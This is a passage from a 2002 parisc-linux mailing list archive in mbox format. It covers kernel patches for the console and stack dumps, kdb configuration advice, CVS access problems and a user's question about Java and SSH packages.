grabbing keyboard interrupts.  However, if this was a system where pdc
console was needed, because linux couldn't drive graphics or keyboard
directly, it might have worked fine.

Thibaut, perhaps you can build kernels with this patch, then
boot-floppies and an ISO, for Robbie to do a test install on his
K-class?

Cheers,
  Richard


Index: kernel/printk.c
===================================================================
RCS file: /var/cvs/linux/kernel/printk.c,v
retrieving revision 1.17
diff -u -r1.17 printk.c
--- kernel/printk.c	2002/02/26 00:45:45	1.17
+++ kernel/printk.c	2002/05/29 09:47:59
@@ -668,7 +668,7 @@
 	 * one that gets registered. Without that, pmac early boot console
 	 * would prevent fbcon from taking over.
 	 */
-	if (console_drivers == NULL)
+	if (console_drivers == NULL && !console_cmdline[0].name[0])
 		preferred_console = -1;
 		
 




From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 08:21:07 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20020529082107.A2794@systemhalted>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621329 7960 80.91.229.3 (22 Nov 2014 01:55:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 06:20:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id C115F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 06:20:56 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4TCL7x03072;
	Wed, 29 May 2002 08:21:07 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020529075131.GC9919@tykepenguin.com>; from patrick@tykepenguin.com on Wed, May 29, 2002 at 08:51:31AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14886

> > Send your .config?
> Attached

Here's your problem:
...
CONFIG_KDB_OFF=y
...

Either set that to 'CONFIG_KDB_OFF=n'
or boot with 'kdb=on' as a kernel paramter.
(Checkout the help text in the kernel hacking option).

Some of this stuff changed in the latest kdb version.

I'm not sure why the kernel can't find the FW scsi controller.
That will be problem number two :)

c.



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 09:07:40 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <200205290907.AA550371908@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621330 7963 80.91.229.3 (22 Nov 2014 01:55:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 08:08:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A9E0482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 08:08:33 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14887

Hey, I just installed the newest version of Debian PA Linux off
the ISO CD, and everything went fine, I was able to install gcc, etc,
etc. but now I need to install a Java compiler and runtime environment
and more importantly a ssh client. I do not have network connectivity
yet, and I cannot find these packages using the 'apt-cache search'
command.

Thanks in advance for helping!
-Marc



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Wed, 29 May 2002 10:09:27 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200205291409.g4TE9RG7027493@hiauly1.hia.nrc.ca>
References: <20020529060242.GG3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621330 7966 80.91.229.3 (22 Nov 2014 01:55:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com (Richard Hirst)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 08:09:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C43D4833
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 08:09:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4TE9SFN027495;
	Wed, 29 May 2002 10:09:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4TE9RG7027493;
	Wed, 29 May 2002 10:09:27 -0400 (EDT)
In-Reply-To: <20020529060242.GG3471@sleepie.demon.co.uk> from "Richard Hirst" at May 29, 2002 07:02:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14888

> You mean like
> 
> Breakpoint 1, main (argc=1, argv=0xbff00148) at ../simple.c:16
> 16              a = thing(1);
> (gdb) print thing(7)

Yes.  I find this an extremely useful feature in debugging gcc.  It
has various hooks to print rtl and tree structs that I miss not being
able to use.

> thing(x) just returns x*2 in this case.  As you see it didn't work, 
> and gave a protection id trap for the target program.  I'll investigate
> further.

Great.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 15:12:31 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020529141231.GG9919@tykepenguin.com>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621330 7969 80.91.229.3 (22 Nov 2014 01:55:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 08:12:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F2A3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 08:12:35 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17D4Bj-0004KI-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 15:12:31 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020529082107.A2794@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14889

On Wed, May 29, 2002 at 08:21:07AM -0400, Carlos O'Donell Jr. wrote:
> > > Send your .config?
> > Attached
> 
> Here's your problem:
> ...
> CONFIG_KDB_OFF=y
> ...

That's only set like that as a last-dich attempt to get it to work :-(

I'm going to have to give up on this, I can't spend all week trying to get it to
work. What I don't understand is that I move a working .config to the new kernel
source and both the serial console AND the scsi stop working.

Ah well, it was a nice idea while it lasted. It's just a bit hard debugging code
when the only error you get is "Stack pointer and cr30 do not cor
respond" repeated endlessly....

patrick




From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS server problem?
Date: Wed, 29 May 2002 16:46:20 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <1022683580.3cf4e9bc12fcf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621331 7973 80.91.229.3 (22 Nov 2014 01:55:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 08:46:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD1AF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 08:46:21 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17D4iS-0004FY-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 16:46:20 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14890

Hi all,

I just cvs update kernel 2.1.18-pa28 yesterday and would like to update to last
2.4.18-pa29 but today each time 'Connection reset by peer'. Am I alone to have
this problem? (other cvs update with sourceforge, gnu, redhat do not present
this problem but it is also possible to be an isp problem)

Thanks in advance for help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC/Linux boot HOWTO
Date: Wed, 29 May 2002 16:55:48 +0200
Organization: TuxFamily
Lines: 14
Approved: news@gmane.org
Message-ID: <3CF4EBF4.6040406@tuxfamily.org>
References: <3CEFD33A.9010007@laas.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621331 7976 80.91.229.3 (22 Nov 2014 01:55:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:31 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 08:56:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC58C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 08:55:55 -0600 (MDT)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.3/8.12.3) with ESMTP id g4TEtlIC010583
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 16:55:47 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020520 Debian/1.0rc2-3
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14891

Hi all,

	Thanks to Joel, I have to correct the last message:
> export CVSROOT=:pserver:marteaut@cvs.tuxfamily.org:/cvsroot/hppa

is in fact:
export CVSROOT=:pserver:anonymous@cvs.tuxfamily.org:/cvsroot/hppa

I should not paste my .bash_history :)

Thomas.




From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 11:01:18 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <20020529110118.A3691@systemhalted>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621331 7978 80.91.229.3 (22 Nov 2014 01:55:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 09:01:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B390D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 09:01:07 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4TF1Id03765;
	Wed, 29 May 2002 11:01:18 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020529141231.GG9919@tykepenguin.com>; from patrick@tykepenguin.com on Wed, May 29, 2002 at 03:12:31PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14892

> 
> That's only set like that as a last-dich attempt to get it to work :-(
> 
> I'm going to have to give up on this, I can't spend all week trying to get it to
> work. What I don't understand is that I move a working .config to the new kernel
> source and both the serial console AND the scsi stop working.
> 
> Ah well, it was a nice idea while it lasted. It's just a bit hard debugging code
> when the only error you get is "Stack pointer and cr30 do not cor
> respond" repeated endlessly....
> 
> patrick
>

You can't always copy a .config from kernel to kernel. The kernel source
dictates what will be _in_ the .config. I usually run 'make mrproper'
and then have 'make oldconfig' or 'make ???config' recreate the config files
to suit the material in the kernel.

When switching to a new source tree I recommend:
make mrproper
make oldconfig
make menuconfig (to suit your tastes)
...


As for the endless 'Stack pointer and cr30 do not correspond!'....

I believe that is a bug in traps.c and I have code to give a proper dump.
I haven't been able to get anyone who knows to explain how the dump_stack in 
traps should _really_ work :)

AFAI understand the following works (I've tested it on my kernels with what 
looks to be a successfull dump while doing some bad things (props to Bame
for helping me out) ;)

BTW, what led me to this solution is that the printk in the else is
completely bogus... so I rewrote the else.

Q: When do you get 'Stack pointer and cr30 do not correspond'?

==========
--- ./linux/arch/parisc/kernel/traps.c     Tue May 21 00:01:37 2002
+++ ./linux/arch/parisc/kernel/traps.c     Tue May 21 00:30:42 2002
@@ -189,10 +189,25 @@
                }
                else
                {
-                   /* Stack Dump! */
-                   printk(KERN_CRIT "WARNING! Stack pointer and cr30 do not correspond!\n");
-                   printk(KERN_CRIT "Dumping virtual address stack instead\n");
-                   dump_stack((unsigned long)__va(stack_start), (unsigned long)__va(sp), 0);
+
+                   stack_start = sp & ~(INIT_TASK_SIZE - 1);
+                   if (stack_start == cr30) {
+
+                       /* We're in a non-interrupt stack and cr30 matches
+                          the start of the stack */
+
+                       dump_stack(stack_start, sp, 0);
+
+                   }
+                   else
+                   {
+
+                       /* Stack Dump! */
+                       printk(KERN_CRIT "WARNING! Stack pointer and cr30 do not correspond!\n");
+                       printk(KERN_CRIT "Dumping virtual address stack instead\n");
+                       dump_stack((unsigned long)__va(stack_start), (unsigned long)__va(sp), 0);
+
+                   }
                }
        }
 #endif
========== 



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS server problem?
Date: Wed, 29 May 2002 16:01:05 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020529160105.P10366@parcelfarce.linux.theplanet.co.uk>
References: <1022683580.3cf4e9bc12fcf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621332 7982 80.91.229.3 (22 Nov 2014 01:55:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 09:01:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6879482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 09:01:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17D4wj-0004aE-00; Wed, 29 May 2002 16:01:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1022683580.3cf4e9bc12fcf@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, May 29, 2002 at 04:46:20PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14893

On Wed, May 29, 2002 at 04:46:20PM +0200, joel.soete@freebel.net wrote:
> Hi all,
> 
> I just cvs update kernel 2.1.18-pa28 yesterday and would like to update to last
> 2.4.18-pa29 but today each time 'Connection reset by peer'. Am I alone to have
> this problem? (other cvs update with sourceforge, gnu, redhat do not present
> this problem but it is also possible to be an isp problem)

working for me.  (ssh access, not pserver access).

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 11:18:54 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <a05100300b91aa169b89e@[192.168.0.67]>
References: <200205290907.AA550371908@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416621332 7986 80.91.229.3 (22 Nov 2014 01:55:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 09:24:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (h014.c007.snv.cp.net [209.228.33.242])
	by dsl2.external.hp.com (Postfix) with SMTP id 4CBEB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 09:24:19 -0600 (MDT)
Original-Received: (cpmta 25398 invoked from network); 29 May 2002 08:24:16 -0700
Original-Received: from 65.187.198.65 (HELO ?192.168.0.67?)
  by smtp.directvinternet.com (209.228.33.242) with SMTP; 29 May 2002 08:24:16 -0700
X-Sent: 29 May 2002 15:24:16 GMT
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <200205290907.AA550371908@mail.centraltx.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
